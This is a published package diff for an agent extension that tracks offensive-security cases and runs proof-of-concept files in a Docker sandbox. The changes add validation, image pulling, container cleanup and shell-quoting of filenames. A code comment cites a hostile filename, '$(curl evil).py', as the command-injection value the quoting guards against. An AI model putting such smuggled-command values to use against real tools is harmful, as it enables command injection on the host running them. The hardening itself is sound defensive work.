@xaccefy/pi-casefile 0.5.0 → 0.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@xaccefy/pi-casefile",
3
- "version": "0.5.0",
3
+ "version": "0.5.2",
4
4
  "description": "Offensive security case tracker for Pi Agent — bug bounties, CTFs, security audits",
5
5
  "keywords": [
6
6
  "pi-package",
package/src/index.ts CHANGED
@@ -15,6 +15,7 @@ import { Type } from "@sinclair/typebox";
15
15
 
16
16
  import {
17
17
  addCaseResult,
18
+ assertPromotable,
18
19
  type CaseConfidence,
19
20
  type CaseInput,
20
21
  type CasePriority,
@@ -818,6 +819,10 @@ export default function casefileExtension(pi: ExtensionAPI) {
818
819
  parameters: PromoteSchema,
819
820
 
820
821
  async execute(_id, params, _signal, _onUpdate, _ctx) {
822
+ // Validate promotability BEFORE running the PoC — a sandboxed run can take
823
+ // 30s (plus first-time image pull), so fail cheap when the case can't
824
+ // advance anyway (missing, wrong status, missing required fields).
825
+ assertPromotable(params.id as string);
821
826
  const run = runPoc(params.poc_path as string, params.local !== true);
822
827
 
823
828
  // Fail closed without throwing: non-zero PoC must leave the case investigating.
package/src/ledger.ts CHANGED
@@ -785,8 +785,13 @@ type PocVerification = {
785
785
  sandbox: boolean;
786
786
  };
787
787
 
788
- export function promoteFindingResult(id: string, verification: PocVerification): CaseUpdateResult {
789
- const db = getDb();
788
+ /**
789
+ * Gate for promotion to confirmed: case must exist, be investigating, and have
790
+ * poc/evidence/impact/severity. Returns the record when promotable, throws
791
+ * otherwise. Exported so PromoteFinding can validate BEFORE paying for a
792
+ * (potentially slow) sandboxed PoC run.
793
+ */
794
+ export function assertPromotable(id: string): CaseRecord {
790
795
  const current = getCaseById(id);
791
796
  if (!current) {
792
797
  throw new Error(`Case not found: ${id}`);
@@ -806,6 +811,12 @@ export function promoteFindingResult(id: string, verification: PocVerification):
806
811
  if (!current.severity) {
807
812
  throw new Error("CONFIRMED requires severity; set severity on the case first");
808
813
  }
814
+ return current;
815
+ }
816
+
817
+ export function promoteFindingResult(id: string, verification: PocVerification): CaseUpdateResult {
818
+ const db = getDb();
819
+ const current = assertPromotable(id);
809
820
  if (verification.exitCode !== 0) {
810
821
  throw new Error(
811
822
  `PoC verification failed (exit ${verification.exitCode}); cannot promote to confirmed`,
package/src/poc-runner.ts CHANGED
@@ -54,6 +54,8 @@ const EXTENSION_MAP: Record<string, string> = {
54
54
 
55
55
  const OUTPUT_MAX_CHARS = 4000;
56
56
  const TIMEOUT_MS = 30_000;
57
+ /** First-use image downloads are slow — pull outside the run timeout. */
58
+ const PULL_TIMEOUT_MS = 300_000;
57
59
  const MAX_BUFFER = 8 * 1024 * 1024;
58
60
 
59
61
  function getProjectRoot(): string {
@@ -73,6 +75,19 @@ function getProjectRoot(): string {
73
75
  function loadLanguages(): Record<string, PocLanguage> {
74
76
  const languages = { ...BUILTIN_LANGUAGES };
75
77
 
78
+ // Project-level overrides: .pi/poc-languages.json at the workspace root.
79
+ try {
80
+ const filePath = join(getProjectRoot(), ".pi", "poc-languages.json");
81
+ if (existsSync(filePath)) {
82
+ const extra = JSON.parse(readFileSync(filePath, "utf8")) as Record<string, PocLanguage>;
83
+ for (const [key, lang] of Object.entries(extra)) {
84
+ if (lang?.image) languages[key] = lang;
85
+ }
86
+ }
87
+ } catch {
88
+ // Malformed project config is ignored.
89
+ }
90
+
76
91
  const envOverride = process.env.PI_POC_LANGUAGES?.trim();
77
92
  if (envOverride) {
78
93
  try {
@@ -225,10 +240,17 @@ function sanitizeOutput(output: string): string {
225
240
  .slice(0, OUTPUT_MAX_CHARS);
226
241
  }
227
242
 
228
- function buildDockerArgs(image: string, command: string, workspaceDir: string): string[] {
243
+ function buildDockerArgs(
244
+ image: string,
245
+ command: string,
246
+ workspaceDir: string,
247
+ containerName: string,
248
+ ): string[] {
229
249
  return [
230
250
  "run",
231
251
  "--rm",
252
+ "--name",
253
+ containerName,
232
254
  "--network",
233
255
  "none",
234
256
  "--read-only",
@@ -253,16 +275,26 @@ function buildDockerArgs(image: string, command: string, workspaceDir: string):
253
275
  ];
254
276
  }
255
277
 
278
+ /** Escape a string for a POSIX single-quoted shell context. */
279
+ function shq(s: string): string {
280
+ return `'${s.replace(/'/g, "'\\''")}'`;
281
+ }
282
+
256
283
  function renderCommand(template: string, pocPath: string, inSandbox: boolean): string {
257
284
  const sourceName = basename(pocPath);
258
285
  const className = sourceName.replace(/\.[^.]+$/i, "");
259
- const targetPath = inSandbox ? `/workspace/${sourceName}` : pocPath;
260
- const binPath = inSandbox ? "/workspace/poc" : join(dirname(pocPath), "poc");
286
+ // In the sandbox the template runs under `sh -c`, and the PoC basename is
287
+ // agent-controlled single-quote every substitution so a hostile filename
288
+ // (e.g. `$(curl evil).py`) cannot inject shell into the container entrypoint.
289
+ // Local mode uses no shell (args passed verbatim), so quoting stays off there.
290
+ const targetPath = inSandbox ? shq(`/workspace/${sourceName}`) : pocPath;
291
+ const binPath = inSandbox ? shq("/workspace/poc") : join(dirname(pocPath), "poc");
292
+ const cls = inSandbox ? shq(className) : className;
261
293
 
262
294
  return template
263
295
  .replace(/{{file}}/g, targetPath)
264
296
  .replace(/{{bin}}/g, binPath)
265
- .replace(/{{class}}/g, className);
297
+ .replace(/{{class}}/g, cls);
266
298
  }
267
299
 
268
300
  /**
@@ -286,12 +318,50 @@ function spawnExitCode(result: {
286
318
  return 1;
287
319
  }
288
320
 
321
+ /**
322
+ * Pull the sandbox image (if absent) BEFORE the timed run. Otherwise a
323
+ * first-use `docker run` spends the whole 30s run timeout downloading the
324
+ * image and the PoC fails spuriously.
325
+ */
326
+ function ensureImage(image: string): void {
327
+ const inspect = spawnSync("docker", ["image", "inspect", image], {
328
+ encoding: "utf8",
329
+ timeout: TIMEOUT_MS,
330
+ });
331
+ if (!inspect.error && inspect.status === 0) return;
332
+ const pull = spawnSync("docker", ["pull", image], {
333
+ encoding: "utf8",
334
+ timeout: PULL_TIMEOUT_MS,
335
+ maxBuffer: MAX_BUFFER,
336
+ });
337
+ if (pull.error || pull.status !== 0) {
338
+ const detail = pull.error?.message ?? (pull.stderr ?? "").slice(0, 300);
339
+ throw new Error(`Failed to pull PoC sandbox image "${image}": ${detail}`);
340
+ }
341
+ }
342
+
289
343
  function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
290
344
  const ranAt = new Date().toISOString();
291
345
  const sourceName = basename(pocPath);
292
346
  const workspaceDir = mkdtempSync(resolve(tmpdir(), "poc-runner-"));
347
+ // Named container so a timed-out / killed client can still be cleaned up —
348
+ // `--rm` alone leaks the container when the CLI dies before the child exits.
349
+ const containerName = `poc-runner-${process.pid}-${Math.random().toString(36).slice(2, 10)}`;
293
350
 
294
351
  try {
352
+ // Fail closed as a non-zero run (not a throw) when docker/images are
353
+ // unavailable — callers treat infra failure as "PoC did not verify".
354
+ try {
355
+ ensureImage(language.image);
356
+ } catch (e) {
357
+ return {
358
+ path: pocPath,
359
+ exitCode: 127,
360
+ output: `[sandbox image error] ${(e as Error).message}`,
361
+ ranAt,
362
+ sandbox: true,
363
+ };
364
+ }
295
365
  copyFileSync(pocPath, `${workspaceDir}/${sourceName}`);
296
366
 
297
367
  let command: string;
@@ -303,11 +373,15 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
303
373
  throw new Error("Language config has no run or buildRun command");
304
374
  }
305
375
 
306
- const result = spawnSync("docker", buildDockerArgs(language.image, command, workspaceDir), {
307
- encoding: "utf8",
308
- timeout: TIMEOUT_MS,
309
- maxBuffer: MAX_BUFFER,
310
- });
376
+ const result = spawnSync(
377
+ "docker",
378
+ buildDockerArgs(language.image, command, workspaceDir, containerName),
379
+ {
380
+ encoding: "utf8",
381
+ timeout: TIMEOUT_MS,
382
+ maxBuffer: MAX_BUFFER,
383
+ },
384
+ );
311
385
 
312
386
  const spawnErr = result.error ? `\n[spawn error] ${result.error.message}` : "";
313
387
  const output = sanitizeOutput((result.stdout ?? "") + (result.stderr ?? "") + spawnErr);
@@ -319,6 +393,12 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
319
393
  sandbox: true,
320
394
  };
321
395
  } finally {
396
+ // Best-effort: remove any container still running after a timeout/kill.
397
+ try {
398
+ spawnSync("docker", ["rm", "-f", containerName], { timeout: 10_000 });
399
+ } catch {
400
+ // Ignore.
401
+ }
322
402
  try {
323
403
  rmSync(workspaceDir, { recursive: true, force: true });
324
404
  } catch {
@@ -373,8 +453,8 @@ function runLocal(pocPath: string, language: PocLanguage): PocRun {
373
453
  *
374
454
  * Language detection (in order):
375
455
  * 1. Shebang line in the PoC file.
376
- * 2. Project type markers in the workspace root (e.g., package.json, go.mod, Cargo.toml).
377
- * 3. File extension.
456
+ * 2. File extension (a .py PoC in a Node repo still runs under python).
457
+ * 3. Project type markers in the workspace root (e.g., package.json, requirements.txt).
378
458
  * 4. PI_POC_DEFAULT_LANGUAGE environment variable.
379
459
  *
380
460
  * Users can extend or override language definitions via: